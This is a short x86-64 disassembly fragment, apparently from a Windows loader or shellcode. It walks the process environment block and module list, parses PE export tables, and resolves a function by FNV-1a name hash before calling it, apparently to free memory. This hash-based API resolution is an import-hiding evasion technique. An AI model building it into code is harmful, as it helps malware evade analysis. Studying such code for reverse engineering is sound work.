mov edx, 0x811c9dc5
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140002260
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x140002240
cmp edx, 0xe93e8317
je 0x14000226a
test r9d, r9d
jne 0x140002220
mov rax, qword [rax]
jmp 0x1400021f0
mov ecx, dword [r11 + 0x24]
mov rdx, r13
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov r9d, 0x8000
mov ecx, dword [r11 + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
xor r8d, r8d
add rax, r10
mov rcx, rsi
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140002325
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140002325
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
mov edx, 0x811c9dc5
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140002320
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x140002300
cmp edx, 0xe93e8317
je 0x14000232a
test r9d, r9d
jne 0x1400022e0
mov rax, qword [rax]
jmp 0x1400022b0
mov rdx, r12
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov r9d, 0x8000
mov ecx, dword [r11 + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
xor r8d, r8d
add rax, r10
mov rcx, rsi
call rax
xor al, al
mov rbx, qword [rsp + 0x108]
add rsp, 0xc0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret